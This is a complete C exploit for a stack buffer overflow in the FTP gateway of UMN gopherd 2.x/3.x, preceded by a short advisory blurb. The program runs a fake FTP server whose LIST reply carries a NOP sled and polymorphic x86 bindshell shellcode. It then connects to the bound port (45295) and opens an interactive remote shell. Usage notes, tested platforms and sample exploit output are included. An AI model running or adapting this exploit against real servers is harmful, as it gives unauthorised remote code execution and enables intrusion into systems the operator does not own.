// source: https://www.securityfocus.com/bid/8167/info
It has been reported that the FTP gateway component within the gopherd server is prone to a buffer overflow vulnerability. This vulnerability may be present due to a failure to perform bounds checking when processing long filenames returned from the FTP LIST command. This could permit code execution in the context of the software.
/*[ UMN gopherd[2.x.x/3.x.x]: remote "ftp gateway" buffer overflow. ]*
* *
* by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
* *
* three years since last audit, code is a little more secure. but, *
* still found a few potentially exploitable situations. this *
* exploits the "ftp gateway" feature of gopherd. the gateway is *
* intended to act as a proxy of sorts. between the server, and the *
* client. the bug occurs when gopherd attempts to read a ftp *
* list(LIST), and strcpy()'s the filename without checking the *
* length. an example would look like this(including where to put *
* the shellcode at): *
* *
* "-rwxrwxrwx 1 <shellcode> root 1 Dec 31 23:59 <long string>" *
* *
* to exploit this, there needs to be a fake ftp daemon of sorts. *
* and, do to the nature of gopherd's "ftp gateway" support, must be *
* on port 21. which means this exploit needs to run as root. *
* *
* when exploiting this bug, it is made moderately easy by gopherd. *
* because, the buffer that holds the string is 8192 bytes, and on *
* the stack. meaning the amount of NOPs used can be around ~7500. *
* *
* requirements(general): *
* gopherd must have "ftp gateway" support included on compile, *
* this is true by default. but, the "--disable-ftp" configure *
* option will make exploitation of this bug impossible. *
* *
* requirements(for this exploit): *
* the server must be running linux/x86(what i made the exploit *
* for). gopherd must be started in the root directory "/", *
* running with the -c command line option, or started as non-root. *
* any of those three situations will allow for successful *
* exploitation. this does not mean it is impossible to exploit *
* otherwise. but, gopherd will be in a chroot()'d state. and, as *
* of the 2.4 kernel series, i have seen no such way to break *
* chroot. if it is desired to still run code, even in a limited *
* environment, simply change the shellcode to your likings. also, *
* the exploit must be ran as root, to bind to port 21. *
* *
* bug location(gopher-3.0.5/gopherd/ftp.c): *
* 1800:int *
* 1801:GopherFile(FTP *ftp, char *buf, char *theName) *
* 1802:{ *
* ... *
* 1805:char tmpName[256]; *
* ... *
* 1811:strcpy(tmpName, buf); *
* *
* vulnerable versions: *
* v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1), *
* v2.3.1. (patch level 0 through 15/all 2.3.1 versions) *
* (it is assumed versions before 2.3.1 are vulnerable as well) *
* *
* tested on platforms(with no code changes/offsets): *
* RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 *
* Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686 *
* (tested on both v3.0.5, and v2.3.1 sources / no changes. this *
* should apply to pretty much any generic linux, do to the amount *
* of NOPs(~7500 bytes guessing room), and on the stack) *
* *
* example usage: *
* # cc xgopherd2k3-ftp.c -o xgopherd2k3-ftp *
* # ./xgopherd2k3-ftp localhost 127.0.0.1 *
* [*] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit. *
* [*] "UMN gopherd remote ftp gateway buffer overflow" *
* [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
* *
* [*] target: localhost:70 - localhost: 127.0.0.1 - offset: 0xbff$ *
* *
* [*] starting ftp daemon. (background) *
* [*] attempting to connect: localhost:70. *
* [*] connected successfully: localhost:70. *
* [?] +GOPHERD: "ftp://x:x@127.0.0.1". *
* [*] ftp daemon connection established. *
* [?] -FTPD: "SYST". *
* [?] -FTPD: "USER x". *
* [?] -FTPD: "PASS x". *
* [?] -FTPD: "PORT 127,0,0,1,128,35". *
* [?] -FTPD: "LIST -F". *
* [?] +FTPD: "-rwxrwxrwx 1 <shellcode(7800)> root 1 Dec 31 23:59 $ *
* [*] waiting for ftp daemon to finish. (ctrl-c if needed) *
* [*] ftp daemon connection closed. *
* [*] checking to see if the exploit was successful. *
* [*] attempting to connect: localhost:45295. *
* [*] successfully connected: localhost:45295. *
* *
* Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2$ *
* uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3$ *
* *
* note: when using your "local ip", do not make it 127.0.0.1, like *
* in the example. it must be the ip you connect to the internet *
* through. (not an local area network ip, or whatnot) *
*********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* change defines at will. (cept EIPSIZE, not recommended) */
#define CODESIZE 7800 /* part of buf[8192]/stack. (~-350) */
#define EIPSIZE 292 /* riding a fine line, don't make too big. */
#define RETADDR 0xbfffe29b /* center of NOPs for me. (~+-3500) */
#define TIMEOUT 10 /* connection timeout. (general) */
/* globals. */
static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */
"\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
"\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
"\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
"\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
"\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
"\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
"\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
"\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
"\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
"\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
"\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
"\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
"\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
"\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
"\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
"\x6e";
char ftp_ip[64+1];
unsigned short ftp_port=0;
pid_t ftp_pid=0;
/* return address offset. (arg3) */
unsigned int offset_ra=0;
/* functions. */
char *geteip(void);
char *getcode(void);
unsigned short ftpd_read(int);
void ftpd_handler(int,char *);
void ftpd_list(char *,unsigned short);
void ftpd(void);
void gopher_connect(char *,unsigned short,char *);
void getshell(char *,unsigned short);
void printe(char *,short);
/* signal handlers. */
void sig_ctrlc_wait(){if(ftp_pid)kill(ftp_pid,9);}
void sig_ctrlc_exit(){printe("ctrl-c abort.",1);}
void sig_alarm(){printe("alarm/timeout hit.",1);}
/* begin. */
int main(int argc,char **argv){
unsigned short gopher_port=70; /* default. */
unsigned int i=0;
char *gopher_host;
printf("[*] UMN gopherd[2.x.x/3.x.x]: remote buffer o"
"verflow exploit.\n[*] \"UMN gopherd remote ftp gatew"
"ay buffer overflow\"\n[*] by: vade79/v9 v9@fakehalo."
"deadpig.org (fakehalo)\n\n");
if(argc<3){
printf("[!] syntax: %s <hostname[:port]> <local/your"
"_ip> [offset]\n\n",argv[0]);
exit(1);
}
if(!(gopher_host=(char *)strdup(argv[1])))
printe("main(): allocating memory failed",1);
for(i=0;i<strlen(gopher_host);i++)
if(gopher_host[i]==':')
gopher_host[i]=0x0;
if(index(argv[1],':'))
gopher_port=atoi((char *)index(argv[1],':')+1);
if(!gopher_port)
gopher_port=70;
if(argc>3)
offset_ra=atoi(argv[3]);
printf("[*] target: %s:%d - localhost: %s - offset: 0x%.8x(+"
"%u)\n\n",gopher_host,gopher_port,argv[2],RETADDR,offset_ra);
signal(SIGINT,sig_ctrlc_wait);
signal(SIGALRM,sig_alarm);
/* start ftpd, as a different process. */
switch(ftp_pid=fork()){
case -1:
printe("fork() ftpd failure.",1);
break;
case 0:
signal(SIGINT,SIG_DFL);
ftpd();
_exit(0);
break;
default:
printf("[*] starting ftp daemon. (background)\n");
break;
}
gopher_connect(gopher_host,gopher_port,argv[2]);
/* gotta let the ftpd magic happen, plenty of time. */
printf("[*] waiting for ftp daemon to finish. (ctrl-c if"
" needed)\n");
waitpid(ftp_pid,0,0);
signal(SIGINT,sig_ctrlc_exit);
getshell(gopher_host,45295); /* defined in shellcode. */
printf("[!] exploit failed.\n");
exit(0);
}
char *geteip(void){
unsigned int i=0;
char *buf;
if(!(buf=(char *)malloc(EIPSIZE+1)))
printe("ftpd_read(): allocating memory failed.",1);
memset(buf,0x0,EIPSIZE+1);
for(i=0;i<EIPSIZE;i+=4){*(long *)&buf[i]=(RETADDR+offset_ra);}
return(buf);
}
char *getcode(void){
char *buf;
if(!(buf=(char *)malloc(CODESIZE+1)))
printe("getcode(): allocating memory failed",1);
memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
strlen(x86_exec));
return(buf);
}
unsigned short ftpd_read(int sock){
char *buf;
if(!(buf=(char *)malloc(4096+1)))
return(1);
memset(buf,0x0,4096+1);
if(read(sock,buf,4096)<1)
return(1);
ftpd_handler(sock,buf);
return(0);
}
void ftpd_handler(int sock,char *buf){
unsigned int addr1,addr2,addr3,addr4,port1,port2,i;
/* clean up for display, changes nothing critical. */
for(i=0;i<strlen(buf);i++)
if(buf[i]=='\r'||buf[i]=='\n')
buf[i]=0x0;
if(strlen(buf)){
printf("[?] -FTPD: \"%s\".\n",buf);
if(!strncmp("SYST",buf,4))
dprintf(sock,"215 UNIX Type: L8\n");
else if(!strncmp("USER ",buf,5))
dprintf(sock,"331 login ok.\n");
else if(!strncmp("PASS ",buf,5))
dprintf(sock,"230 access granted.\n");
else if(!strncmp("PORT ",buf,5)){
sscanf(buf,"PORT %u,%u,%u,%u,%u,%u",&addr1,&addr2,&addr3,
&addr4,&port1,&port2);
memset(ftp_ip,0x0,64+1);
snprintf(ftp_ip,64,"%u.%u.%u.%u",addr1,addr2,addr3,addr4);
ftp_port=((port1*256)+port2);
dprintf(sock,"200 PORT command successful.\n");
}
else if(!strncmp("LIST",buf,4)){
dprintf(sock,"150 Opening connection.\n");
/* send the fake file list, the exploit itself. */
if(strlen(ftp_ip)&&ftp_port)
ftpd_list(ftp_ip,ftp_port);
dprintf(sock,"226 Transfer complete.\n");
sleep(1);
/* nothing else of importance. */
close(sock);
}
}
return;
}
void ftpd_list(char *ip,unsigned short port){
int sock;
struct hostent *t;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
if((s.sin_addr.s_addr=inet_addr(ip))){
if(!(t=gethostbyname(ip)))
printe("couldn't resolve ftp_list hostname/ip.",1);
memcpy((char*)&s.sin_addr,(char*)t->h_addr,
sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
printe("ftpd_list connection failed.",1);
alarm(0);
/* the exploit itself, what changes the EIP. */
/* i just put the shellcode where the user/owner */
/* of the file would normally go, goes into the */
/* fat buf[8192] buffer, yummy. */
printf("[?] +FTPD: \"-rwxrwxrwx 1 <shellcode(%u)> root "
"1 Dec 31 23:59 <eip(%u)>\".\n",CODESIZE,EIPSIZE);
dprintf(sock,"-rwxrwxrwx 1 %s root 1 Dec 31 23:59 %s\n",
getcode(),geteip());
sleep(1); /* not needed, safe call. */
close(sock);
return;
}
void ftpd(void){
int ssock,sock,salen,so=1,i=0;
struct sockaddr_in ssa,sa;
ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/* just incase used multiple times, good habit anyways. */
setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
/* not everywheres. */
#ifdef SO_REUSEPORT
setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
ssa.sin_family=AF_INET;
/* must be default, gopherd limitations. :( */
ssa.sin_port=htons(21);
ssa.sin_addr.s_addr=INADDR_ANY;
if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
printe("could not bind socket, ftpd already running?",1);
listen(ssock,1);
bzero((char*)&sa,sizeof(struct sockaddr_in));
/* some things i just don't see the reason for. :/ */
salen=sizeof(sa);
sock=accept(ssock,(struct sockaddr *)&sa,&salen);
close(ssock); /* close server socket. */
printf("[*] ftp daemon connection established.\n");
/* welcome! */
dprintf(sock,"220 FakeFTPD.\n");
while(!i)
i=ftpd_read(sock);
close(sock);
printf("[*] ftp daemon connection closed.\n");
return;
}
void gopher_connect(char *hostname,unsigned short port,
char *myip){
int sock;
struct hostent *t;
struct sockaddr_in s;
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
if((s.sin_addr.s_addr=inet_addr(hostname))){
if(!(t=gethostbyname(hostname)))
printe("couldn't resolve gopher hostname.",1);
memcpy((char*)&s.sin_addr,(char*)t->h_addr,
sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
printe("gopher connection failed.",1);
alarm(0);
printf("[*] connected successfully: %s:%d.\n",hostname,port);
printf("[?] +GOPHERD: \"ftp://x:x@%s\".\n",myip);
sleep(1); /* had problems, without a delay here. */
dprintf(sock,"ftp://x:x@%s\n",myip);
sleep(1); /* doesn't really matter, but to be safe. :/ */
/* leave gopher socket open, for the duration. */
return;
}
/* same getshell() routine as usual. */
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
printf("[*] checking to see if the exploit was successful.\n");
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
printe("getshell(): socket() failed",0);
return;
}
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname))){
printe("getshell(): couldn't resolve",0);
return;
}
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",
hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",
hostname,port);
return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",
hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1){
printe("getshell(): select() failed",0);
return;
}
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1){
printe("getshell(): read() failed",0);
return;
}
if(write(sock,buf,r)!=r){
printe("getshell(): write() failed",0);
return;
}
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
void printe(char *err,short e){
printf("[!] %s\n",err);
if(e){
/* don't want to exit with ftpd still running. */
if(ftp_pid)
kill(ftp_pid,9);
printf("[!] exploit failed.\n");
exit(1);
}
return;
}
